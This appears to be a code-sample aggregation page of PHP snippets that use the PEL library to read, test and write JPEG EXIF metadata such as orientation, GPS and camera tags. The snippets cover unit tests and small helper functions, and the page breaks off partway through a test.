示例#1
0
文件: gh-16.php 项目: ni-c/pel
 function testThisDoesNotWorkAsExpected()
 {
     $subject = "Превед, медвед!";
     $data = new PelDataWindow(file_get_contents($this->file));
     if (PelJpeg::isValid($data)) {
         $jpeg = new PelJpeg();
         $jpeg->load($data);
         $exif = $jpeg->getExif();
         if (null == $exif) {
             $exif = new PelExif();
             $jpeg->setExif($exif);
             $tiff = new PelTiff();
             $exif->setTiff($tiff);
         }
         $tiff = $exif->getTiff();
         $ifd0 = $tiff->getIfd();
         if (null == $ifd0) {
             $ifd0 = new PelIfd(PelIfd::IFD0);
             $tiff->setIfd($ifd0);
         }
     }
     $ifd0->addEntry(new PelEntryWindowsString(PelTag::XP_SUBJECT, $subject));
     file_put_contents($this->file, $jpeg->getBytes());
     $jpeg = new PelJpeg($this->file);
     $exif = $jpeg->getExif();
     $tiff = $exif->getTiff();
     $ifd0 = $tiff->getIfd();
     $written_subject = $ifd0->getEntry(PelTag::XP_SUBJECT);
     $this->assertEqual($subject, $written_subject->getValue());
 }
示例#2
0
 function testRead()
 {
     Pel::clearExceptions();
     Pel::setStrictParsing(false);
     $jpeg = new PelJpeg(dirname(__FILE__) . '/no-exif.jpg');
     $exif = $jpeg->getExif();
     $this->assertNull($exif);
     $this->assertTrue(count(Pel::getExceptions()) == 0);
 }
示例#3
0
 static function rotate_item($item)
 {
     require_once MODPATH . 'autorotate/lib/pel/PelDataWindow.php';
     require_once MODPATH . 'autorotate/lib/pel/PelJpeg.php';
     require_once MODPATH . 'autorotate/lib/pel/PelTiff.php';
     // Only try to rotate photos based on EXIF
     if ($item->is_photo() && $item->mime_type == "image/jpeg") {
         require_once MODPATH . "exif/lib/exif.php";
         $exif_raw = read_exif_data_raw($item->file_path(), false);
         if (isset($exif_raw['ValidEXIFData'])) {
             $orientation = $exif_raw["IFD0"]["Orientation"];
             $degrees = 0;
             if ($orientation == '3: Upside-down') {
                 $degrees = 180;
             } else {
                 if ($orientation == '8: 90 deg CW') {
                     $degrees = -90;
                 } else {
                     if ($orientation == '6: 90 deg CCW') {
                         $degrees = 90;
                     }
                 }
             }
             if ($degrees) {
                 $tmpfile = tempnam(TMPPATH, "rotate");
                 gallery_graphics::rotate($item->file_path(), $tmpfile, array("degrees" => $degrees));
                 // Update EXIF info
                 $data = new PelDataWindow(file_get_contents($tmpfile));
                 if (PelJpeg::isValid($data)) {
                     $jpeg = $file = new PelJpeg();
                     $jpeg->load($data);
                     $exif = $jpeg->getExif();
                     if ($exif !== null) {
                         $tiff = $exif->getTiff();
                         $ifd0 = $tiff->getIfd();
                         $orientation = $ifd0->getEntry(PelTag::ORIENTATION);
                         $orientation->setValue(1);
                         file_put_contents($tmpfile, $file->getBytes());
                     }
                 }
                 $item->set_data_file($tmpfile);
                 $item->save();
                 unlink($tmpfile);
             }
         }
     }
     return;
 }
示例#4
0
 function testThisDoesNotWorkAsExpected()
 {
     $tmpfile = dirname(__FILE__) . '/images/bug1730993_tmp.jpg';
     $bigfile = dirname(__FILE__) . '/images/bug1730993_large.jpg';
     try {
         $jpeg = new PelJpeg($tmpfile);
         // the error occurs here
         $exif = $jpeg->getExif();
         if ($exif != null) {
             $jpeg1 = new PelJpeg($bigfile);
             $jpeg1->setExif($exif);
             file_put_contents($bigfile, $jpeg1->getBytes());
         }
     } catch (Exception $e) {
         $this->fail('Test should not throw an exception');
     }
 }
示例#5
0
文件: bug3017880.php 项目: ni-c/pel
 function testThisDoesNotWorkAsExpected()
 {
     $filename = dirname(__FILE__) . '/images/bug3017880.jpg';
     try {
         $exif = null;
         $success = 1;
         // return true by default, as this function may not resave the file, but it's still success
         $resave_file = 0;
         $jpeg = new PelJpeg($filename);
         // should all exif data on photo be cleared (gd and iu will always strip it anyway, so only
         // force strip if you know the image you're branding is an original)
         //$jpeg->clearExif();
         if ($exif === null) {
             $exif = new PelExif();
             $jpeg->setExif($exif);
             $tiff = new PelTiff();
             $exif->setTiff($tiff);
         }
         $tiff = $exif->getTiff();
         $ifd0 = $tiff->getIfd();
         if ($ifd0 == null) {
             $ifd0 = new PelIfd(PelIfd::IFD0);
             $tiff->setIfd($ifd0);
         }
         $software_name = 'Example V2';
         $software = $ifd0->getEntry(PelTag::SOFTWARE);
         if ($software == null) {
             $software = new PelEntryAscii(PelTag::SOFTWARE, $software_name);
             $ifd0->addEntry($software);
             $resave_file = 1;
             echo 'null';
         } else {
             $software->setValue($software_name);
             $resave_file = 1;
             echo 'update';
         }
         if ($resave_file == 1 && !file_put_contents($filename, $jpeg->getBytes())) {
             // if it was okay to resave the file, but it did not save correctly
             $success = 0;
         }
     } catch (Exception $e) {
         $this->fail('Test should not throw an exception');
     }
 }
示例#6
0
文件: gh-21.php 项目: ni-c/pel
 function testThisDoesNotWorkAsExpected()
 {
     $scale = 0.75;
     $input_jpeg = new PelJpeg($this->file);
     $original = ImageCreateFromString($input_jpeg->getBytes());
     $original_w = ImagesX($original);
     $original_h = ImagesY($original);
     $scaled_w = $original_w * $scale;
     $scaled_h = $original_h * $scale;
     $scaled = ImageCreateTrueColor($scaled_w, $scaled_h);
     ImageCopyResampled($scaled, $original, 0, 0, 0, 0, $scaled_w, $scaled_h, $original_w, $original_h);
     $output_jpeg = new PelJpeg($scaled);
     $exif = $input_jpeg->getExif();
     if ($exif != null) {
         $output_jpeg->setExif($exif);
     }
     file_put_contents($this->file, $output_jpeg->getBytes());
     $jpeg = new PelJpeg($this->file);
     $exifin = $jpeg->getExif();
     $this->assertEqual($exif, $exifin);
 }
示例#7
0
文件: read-write.php 项目: ni-c/pel
 function testWriteRead()
 {
     Pel::setStrictParsing(true);
     $ifd = new PelIfd(PelIfd::IFD0);
     $this->assertTrue($ifd->isLastIfd());
     foreach ($this->entries as $entry) {
         $ifd->addEntry($entry);
     }
     $tiff = new PelTiff();
     $this->assertNull($tiff->getIfd());
     $tiff->setIfd($ifd);
     $this->assertNotNull($tiff->getIfd());
     $exif = new PelExif();
     $this->assertNull($exif->getTiff());
     $exif->setTiff($tiff);
     $this->assertNotNull($exif->getTiff());
     $jpeg = new PelJpeg(dirname(__FILE__) . '/no-exif.jpg');
     $this->assertNull($jpeg->getExif());
     $jpeg->setExif($exif);
     $this->assertNotNull($jpeg->getExif());
     $jpeg->saveFile('test-output.jpg');
     $this->assertTrue(file_exists('test-output.jpg'));
     $this->assertTrue(filesize('test-output.jpg') > 0);
     /* Now read the file and see if the entries are still there. */
     $jpeg = new PelJpeg('test-output.jpg');
     $exif = $jpeg->getExif();
     $this->assertIsA($exif, 'PelExif');
     $tiff = $exif->getTiff();
     $this->assertIsA($tiff, 'PelTiff');
     $ifd = $tiff->getIfd();
     $this->assertIsA($ifd, 'PelIfd');
     $this->assertEqual($ifd->getType(), PelIfd::IFD0);
     $this->assertTrue($ifd->isLastIfd());
     foreach ($this->entries as $entry) {
         $this->assertEqual($ifd->getEntry($entry->getTag())->getValue(), $entry->getValue());
     }
     unlink('test-output.jpg');
 }
示例#8
0
function addGPSdata($infile, $outfile, $GPS_lat, $GPS_lon, $GPS_alt)
{
    try {
        $image = new PelJpeg($infile);
    } catch (Exception $exc) {
        return -1;
    }
    if ($image instanceof PelJpeg) {
        if ($image->isValid(new PelDataWindow($image->getBytes()))) {
            $exif = $image->getExif();
            if ($exif == null) {
                $exif = new PelExif();
                $image->setExif($exif);
                $exif->setTiff(new PelTiff());
            }
            $tiff = $exif->getTiff();
            $ifd0 = $tiff->getIfd();
            if ($ifd0 == null) {
                $ifd0 = new PelIFD(PelIfd::IFD0);
                $tiff->setIfd($ifd0);
            }
            /* Tags erzeugen */
            $subifd = new PelIfd(PelIfd::GPS);
            $GPS_latref = $GPS_lat < 0 ? "S" : "N";
            $GPS_lonref = $GPS_lon < 0 ? "W" : "E";
            $GPS_altref = $GPS_alt < 0 ? 1 : 0;
            list($degrees, $minutes, $milliseconds) = dec2dms(abs($GPS_lat));
            $gpslat = new PelEntryRational(PelTag::GPS_LATITUDE, array($degrees, 1), array($minutes, 1), array($milliseconds, 1000));
            list($degrees, $minutes, $milliseconds) = dec2dms(abs($GPS_lon));
            $gpslon = new PelEntryRational(PelTag::GPS_LONGITUDE, array($degrees, 1), array($minutes, 1), array($milliseconds, 1000));
            echo $GPS_alt * 1000;
            $gpsalt = new PelEntryRational(PelTag::GPS_ALTITUDE, array(abs($GPS_alt * 1000), 1000));
            $gpslatref = new PelEntryAscii(PelTag::GPS_LATITUDE_REF, $GPS_latref);
            $gpslonref = new PelEntryAscii(PelTag::GPS_LONGITUDE_REF, $GPS_lonref);
            $gpsaltref = new PelEntryByte(PelTag::GPS_ALTITUDE_REF, $GPS_altref);
            $gpsversion = new PelEntryByte(PelTag::GPS_VERSION_ID, 2, 2, 0, 0);
            /* Daten eintragen.*/
            $subifd->addEntry($gpsversion);
            $subifd->addEntry($gpslat);
            $subifd->addEntry($gpslon);
            $subifd->addEntry($gpsalt);
            $subifd->addEntry($gpslatref);
            $subifd->addEntry($gpslonref);
            $subifd->addEntry($gpsaltref);
            $ifd0->addSubIfd($subifd);
            file_put_contents($outfile, $image->getBytes());
            return 0;
        }
    }
    return -1;
}
示例#9
0
 /**
  * Updates the description of an image with the given data
  *
  * @param $id The internal id of the image
  * @param $title The title of the image
  * @param $description The description of the image
  * @param $category The category of the image
  * @param $tags An array of tags of the image
  */
 public function updateDescription($filename, $id, $title, $description, $category, $tags)
 {
     $data = new PelDataWindow(file_get_contents($filename));
     if (PelJpeg::isValid($data)) {
         $jpeg = $file = new PelJpeg();
         $jpeg->load($data);
         $exif = $jpeg->getExif();
         if ($exif == null) {
             $exif = new PelExif();
             $jpeg->setExif($exif);
             $tiff = new PelTiff();
             $exif->setTiff($tiff);
         } else {
             $tiff = $exif->getTiff();
         }
     } elseif (PelTiff::isValid($data)) {
         $tiff = $file = new PelTiff();
         $tiff->load($data);
     } else {
         return 0;
     }
     $ifd0 = $tiff->getIfd();
     if ($ifd0 == null) {
         $ifd0 = new PelIfd(PelIfd::IFD0);
         $tiff->setIfd($ifd0);
     }
     $desc = $ifd0->getEntry(PelTag::IMAGE_DESCRIPTION);
     $description = json_encode(array('id' => $id, 'Title' => $title, 'Description' => $description, 'Category' => $category, 'Tags' => implode(',', $tags)));
     if ($desc == null) {
         $desc = new PelEntryAscii(PelTag::IMAGE_DESCRIPTION, $description);
         $ifd0->addEntry($desc);
     } else {
         $desc->setValue($description);
     }
     $file->saveFile($filename);
 }
    function testRead()
    {
        Pel::clearExceptions();
        Pel::setStrictParsing(false);
        $jpeg = new PelJpeg(dirname(__FILE__) . '/olympus-c5050z.jpg');
        $exif = $jpeg->getExif();
        $this->assertIsA($exif, 'PelExif');
        $tiff = $exif->getTiff();
        $this->assertIsA($tiff, 'PelTiff');
        /* The first IFD. */
        $ifd0 = $tiff->getIfd();
        $this->assertIsA($ifd0, 'PelIfd');
        /* Start of IDF $ifd0. */
        $this->assertEqual(count($ifd0->getEntries()), 11);
        $entry = $ifd0->getEntry(270);
        // ImageDescription
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'OLYMPUS DIGITAL CAMERA         ');
        $this->assertEqual($entry->getText(), 'OLYMPUS DIGITAL CAMERA         ');
        $entry = $ifd0->getEntry(271);
        // Make
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'OLYMPUS OPTICAL CO.,LTD');
        $this->assertEqual($entry->getText(), 'OLYMPUS OPTICAL CO.,LTD');
        $entry = $ifd0->getEntry(272);
        // Model
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'C5050Z');
        $this->assertEqual($entry->getText(), 'C5050Z');
        $entry = $ifd0->getEntry(274);
        // Orientation
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'top - left');
        $entry = $ifd0->getEntry(282);
        // XResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
        $this->assertEqual($entry->getText(), '72/1');
        $entry = $ifd0->getEntry(283);
        // YResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
        $this->assertEqual($entry->getText(), '72/1');
        $entry = $ifd0->getEntry(296);
        // ResolutionUnit
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'Inch');
        $entry = $ifd0->getEntry(305);
        // Software
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'v558-83');
        $this->assertEqual($entry->getText(), 'v558-83');
        $entry = $ifd0->getEntry(306);
        // DateTime
        $this->assertIsA($entry, 'PelEntryTime');
        $this->assertEqual($entry->getValue(), false);
        $this->assertEqual($entry->getText(), '0000:00:00 00:00:00');
        $entry = $ifd0->getEntry(531);
        // YCbCrPositioning
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'co-sited');
        $entry = $ifd0->getEntry(50341);
        // PrintIM
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), 'PrintIM0250�	
�
�����������	\'\'�\'�\'\'^\'�\'�\'�\'');
        $this->assertEqual($entry->getText(), '(undefined)');
        /* Sub IFDs of $ifd0. */
        $this->assertEqual(count($ifd0->getSubIfds()), 1);
        $ifd0_0 = $ifd0->getSubIfd(2);
        // IFD Exif
        $this->assertIsA($ifd0_0, 'PelIfd');
        /* Start of IDF $ifd0_0. */
        $this->assertEqual(count($ifd0_0->getEntries()), 32);
        $entry = $ifd0_0->getEntry(33434);
        // ExposureTime
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 10, 1 => 40));
        $this->assertEqual($entry->getText(), '1/4 sec.');
        $entry = $ifd0_0->getEntry(33437);
        // FNumber
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 26, 1 => 10));
        $this->assertEqual($entry->getText(), 'f/2.6');
        $entry = $ifd0_0->getEntry(34850);
        // ExposureProgram
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'Normal program');
        $entry = $ifd0_0->getEntry(34855);
        // ISOSpeedRatings
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 64);
        $this->assertEqual($entry->getText(), '64');
        $entry = $ifd0_0->getEntry(36864);
        // ExifVersion
        $this->assertIsA($entry, 'PelEntryVersion');
        $this->assertEqual($entry->getValue(), 2.2);
        $this->assertEqual($entry->getText(), 'Exif Version 2.2');
        $entry = $ifd0_0->getEntry(36867);
        // DateTimeOriginal
        $this->assertIsA($entry, 'PelEntryTime');
        $this->assertEqual($entry->getValue(), false);
        $this->assertEqual($entry->getText(), '0000:00:00 00:00:00');
        $entry = $ifd0_0->getEntry(36868);
        // DateTimeDigitized
        $this->assertIsA($entry, 'PelEntryTime');
        $this->assertEqual($entry->getValue(), false);
        $this->assertEqual($entry->getText(), '0000:00:00 00:00:00');
        $entry = $ifd0_0->getEntry(37121);
        // ComponentsConfiguration
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), '');
        $this->assertEqual($entry->getText(), 'Y Cb Cr -');
        $entry = $ifd0_0->getEntry(37122);
        // CompressedBitsPerPixel
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 2, 1 => 1));
        $this->assertEqual($entry->getText(), '2/1');
        $entry = $ifd0_0->getEntry(37380);
        // ExposureBiasValue
        $this->assertIsA($entry, 'PelEntrySRational');
        $this->assertEqual($entry->getValue(), array(0 => 0, 1 => 10));
        $this->assertEqual($entry->getText(), '0.0');
        $entry = $ifd0_0->getEntry(37381);
        // MaxApertureValue
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 28, 1 => 10));
        $this->assertEqual($entry->getText(), '28/10');
        $entry = $ifd0_0->getEntry(37383);
        // MeteringMode
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 5);
        $this->assertEqual($entry->getText(), 'Pattern');
        $entry = $ifd0_0->getEntry(37384);
        // LightSource
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Unknown');
        $entry = $ifd0_0->getEntry(37385);
        // Flash
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 16);
        $this->assertEqual($entry->getText(), 'Flash did not fire, compulsory flash mode.');
        $entry = $ifd0_0->getEntry(37386);
        // FocalLength
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 213, 1 => 10));
        $this->assertEqual($entry->getText(), '21.3 mm');
        $entry = $ifd0_0->getEntry(37500);
        // MakerNote
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), 'OLYMP�����4	 B�bdd�d
8ISX558[pictureInfo] Resolution=1 [Camera Info] Type=SX558OLYMPUS DIGITAL CAMERA���������1��H���UU�1������J@gg�I˦��������������������a1v?�Y�0�
��n��r�[R	2
H�dx
2B@d* ');
        $this->assertEqual($entry->getText(), '600 bytes unknown MakerNote data');
        $entry = $ifd0_0->getEntry(37510);
        // UserComment
        $this->assertIsA($entry, 'PelEntryUserComment');
        $this->assertEqual($entry->getValue(), '                                                                                                                     ');
        $this->assertEqual($entry->getText(), '                                                                                                                     ');
        $entry = $ifd0_0->getEntry(40960);
        // FlashPixVersion
        $this->assertIsA($entry, 'PelEntryVersion');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'FlashPix Version 1.0');
        $entry = $ifd0_0->getEntry(40961);
        // ColorSpace
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'sRGB');
        $entry = $ifd0_0->getEntry(40962);
        // PixelXDimension
        $this->assertIsA($entry, 'PelEntryLong');
        $this->assertEqual($entry->getValue(), 640);
        $this->assertEqual($entry->getText(), '640');
        $entry = $ifd0_0->getEntry(40963);
        // PixelYDimension
        $this->assertIsA($entry, 'PelEntryLong');
        $this->assertEqual($entry->getValue(), 480);
        $this->assertEqual($entry->getText(), '480');
        $entry = $ifd0_0->getEntry(41728);
        // FileSource
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), '');
        $this->assertEqual($entry->getText(), 'DSC');
        $entry = $ifd0_0->getEntry(41729);
        // SceneType
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), '');
        $this->assertEqual($entry->getText(), 'Directly photographed');
        $entry = $ifd0_0->getEntry(41985);
        // CustomRendered
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Normal process');
        $entry = $ifd0_0->getEntry(41986);
        // ExposureMode
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Auto exposure');
        $entry = $ifd0_0->getEntry(41987);
        // WhiteBalance
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'Manual white balance');
        $entry = $ifd0_0->getEntry(41988);
        // DigitalZoomRatio
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 0, 1 => 100));
        $this->assertEqual($entry->getText(), '0/100');
        $entry = $ifd0_0->getEntry(41990);
        // SceneCaptureType
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Standard');
        $entry = $ifd0_0->getEntry(41991);
        // GainControl
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Normal');
        $entry = $ifd0_0->getEntry(41992);
        // Contrast
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Normal');
        $entry = $ifd0_0->getEntry(41993);
        // Saturation
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Normal');
        $entry = $ifd0_0->getEntry(41994);
        // Sharpness
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Normal');
        /* Sub IFDs of $ifd0_0. */
        $this->assertEqual(count($ifd0_0->getSubIfds()), 1);
        $ifd0_0_0 = $ifd0_0->getSubIfd(4);
        // IFD Interoperability
        $this->assertIsA($ifd0_0_0, 'PelIfd');
        /* Start of IDF $ifd0_0_0. */
        $this->assertEqual(count($ifd0_0_0->getEntries()), 2);
        $entry = $ifd0_0_0->getEntry(1);
        // InteroperabilityIndex
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'R98');
        $this->assertEqual($entry->getText(), 'R98');
        $entry = $ifd0_0_0->getEntry(2);
        // InteroperabilityVersion
        $this->assertIsA($entry, 'PelEntryVersion');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'Interoperability Version 1.0');
        /* Sub IFDs of $ifd0_0_0. */
        $this->assertEqual(count($ifd0_0_0->getSubIfds()), 0);
        $this->assertEqual($ifd0_0_0->getThumbnailData(), '');
        /* Next IFD. */
        $ifd0_0_1 = $ifd0_0_0->getNextIfd();
        $this->assertNull($ifd0_0_1);
        /* End of IFD $ifd0_0_0. */
        $this->assertEqual($ifd0_0->getThumbnailData(), '');
        /* Next IFD. */
        $ifd0_1 = $ifd0_0->getNextIfd();
        $this->assertNull($ifd0_1);
        /* End of IFD $ifd0_0. */
        $this->assertEqual($ifd0->getThumbnailData(), '');
        /* Next IFD. */
        $ifd1 = $ifd0->getNextIfd();
        $this->assertIsA($ifd1, 'PelIfd');
        /* End of IFD $ifd0. */
        /* Start of IDF $ifd1. */
        $this->assertEqual(count($ifd1->getEntries()), 4);
        $entry = $ifd1->getEntry(259);
        // Compression
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 6);
        $this->assertEqual($entry->getText(), 'JPEG compression');
        $entry = $ifd1->getEntry(282);
        // XResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
        $this->assertEqual($entry->getText(), '72/1');
        $entry = $ifd1->getEntry(283);
        // YResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
        $this->assertEqual($entry->getText(), '72/1');
        $entry = $ifd1->getEntry(296);
        // ResolutionUnit
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'Inch');
        /* Sub IFDs of $ifd1. */
        $this->assertEqual(count($ifd1->getSubIfds()), 0);
        $thumb_data = file_get_contents(dirname(__FILE__) . '/olympus-c5050z-thumb.jpg');
        $this->assertEqual($ifd1->getThumbnailData(), $thumb_data);
        /* Next IFD. */
        $ifd2 = $ifd1->getNextIfd();
        $this->assertNull($ifd2);
示例#11
0
 /**
  * Copy the source image's EXIF information to the new file in the cache
  *
  * @since 2.0
  * @uses PEL
  * @param string $cacheFilePath
  * @return mixed string contents of image on success, false on failure
  */
 private function copyEXIF($cacheFilePath)
 {
     // Make sure to suppress strict warning thrown by PEL
     require_once dirname(__FILE__) . '/../pel/src/PelJpeg.php';
     $jpeg = new PelJpeg($this->getSource()->getFullPath());
     $exif = $jpeg->getExif();
     if ($exif !== null) {
         $jpeg = new PelJpeg($cacheFilePath);
         $jpeg->setExif($exif);
         $imageData = $jpeg->getBytes();
         if (!file_put_contents($cacheFilePath, $imageData)) {
             return false;
         }
         return $imageData;
     }
     // if
     return file_get_contents($cacheFilePath);
 }
    function testRead()
    {
        Pel::clearExceptions();
        Pel::setStrictParsing(false);
        $jpeg = new PelJpeg(dirname(__FILE__) . '/olympus-c50z.jpg');
        $exif = $jpeg->getExif();
        $this->assertIsA($exif, 'PelExif');
        $tiff = $exif->getTiff();
        $this->assertIsA($tiff, 'PelTiff');
        /* The first IFD. */
        $ifd0 = $tiff->getIfd();
        $this->assertIsA($ifd0, 'PelIfd');
        /* Start of IDF $ifd0. */
        $this->assertEqual(count($ifd0->getEntries()), 11);
        $entry = $ifd0->getEntry(270);
        // ImageDescription
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'OLYMPUS DIGITAL CAMERA         ');
        $this->assertEqual($entry->getText(), 'OLYMPUS DIGITAL CAMERA         ');
        $entry = $ifd0->getEntry(271);
        // Make
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'OLYMPUS OPTICAL CO.,LTD');
        $this->assertEqual($entry->getText(), 'OLYMPUS OPTICAL CO.,LTD');
        $entry = $ifd0->getEntry(272);
        // Model
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'X-2,C-50Z       ');
        $this->assertEqual($entry->getText(), 'X-2,C-50Z       ');
        $entry = $ifd0->getEntry(274);
        // Orientation
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'top - left');
        $entry = $ifd0->getEntry(282);
        // XResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 144, 1 => 1));
        $this->assertEqual($entry->getText(), '144/1');
        $entry = $ifd0->getEntry(283);
        // YResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 144, 1 => 1));
        $this->assertEqual($entry->getText(), '144/1');
        $entry = $ifd0->getEntry(296);
        // ResolutionUnit
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'Inch');
        $entry = $ifd0->getEntry(305);
        // Software
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), '28-1012                        ');
        $this->assertEqual($entry->getText(), '28-1012                        ');
        $entry = $ifd0->getEntry(306);
        // DateTime
        $this->assertIsA($entry, 'PelEntryTime');
        $this->assertEqual($entry->getValue(), false);
        $this->assertEqual($entry->getText(), '0000:00:00 00:00:00');
        $entry = $ifd0->getEntry(531);
        // YCbCrPositioning
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'co-sited');
        $entry = $ifd0->getEntry(50341);
        // PrintIM
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), 'PrintIM0250ˆ	
Ð
èÿ€€€€€€€€€	\'\'—\'°\'\'^\'‹\'Ë\'å\'');
        $this->assertEqual($entry->getText(), '(undefined)');
        /* Sub IFDs of $ifd0. */
        $this->assertEqual(count($ifd0->getSubIfds()), 1);
        $ifd0_0 = $ifd0->getSubIfd(2);
        // IFD Exif
        $this->assertIsA($ifd0_0, 'PelIfd');
        /* Start of IDF $ifd0_0. */
        $this->assertEqual(count($ifd0_0->getEntries()), 30);
        $entry = $ifd0_0->getEntry(33434);
        // ExposureTime
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 1, 1 => 80));
        $this->assertEqual($entry->getText(), '1/80 sec.');
        $entry = $ifd0_0->getEntry(33437);
        // FNumber
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 45, 1 => 10));
        $this->assertEqual($entry->getText(), 'f/4.5');
        $entry = $ifd0_0->getEntry(34850);
        // ExposureProgram
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 5);
        $this->assertEqual($entry->getText(), 'Creative program (biased toward depth of field)');
        $entry = $ifd0_0->getEntry(34855);
        // ISOSpeedRatings
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 80);
        $this->assertEqual($entry->getText(), '80');
        $entry = $ifd0_0->getEntry(36864);
        // ExifVersion
        $this->assertIsA($entry, 'PelEntryVersion');
        $this->assertEqual($entry->getValue(), 2.2);
        $this->assertEqual($entry->getText(), 'Exif Version 2.2');
        $entry = $ifd0_0->getEntry(36867);
        // DateTimeOriginal
        $this->assertIsA($entry, 'PelEntryTime');
        $this->assertEqual($entry->getValue(), false);
        $this->assertEqual($entry->getText(), '0000:00:00 00:00:00');
        $entry = $ifd0_0->getEntry(36868);
        // DateTimeDigitized
        $this->assertIsA($entry, 'PelEntryTime');
        $this->assertEqual($entry->getValue(), false);
        $this->assertEqual($entry->getText(), '0000:00:00 00:00:00');
        $entry = $ifd0_0->getEntry(37121);
        // ComponentsConfiguration
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), '');
        $this->assertEqual($entry->getText(), 'Y Cb Cr -');
        $entry = $ifd0_0->getEntry(37380);
        // ExposureBiasValue
        $this->assertIsA($entry, 'PelEntrySRational');
        $this->assertEqual($entry->getValue(), array(0 => 0, 1 => 10));
        $this->assertEqual($entry->getText(), '0.0');
        $entry = $ifd0_0->getEntry(37381);
        // MaxApertureValue
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 300, 1 => 100));
        $this->assertEqual($entry->getText(), '300/100');
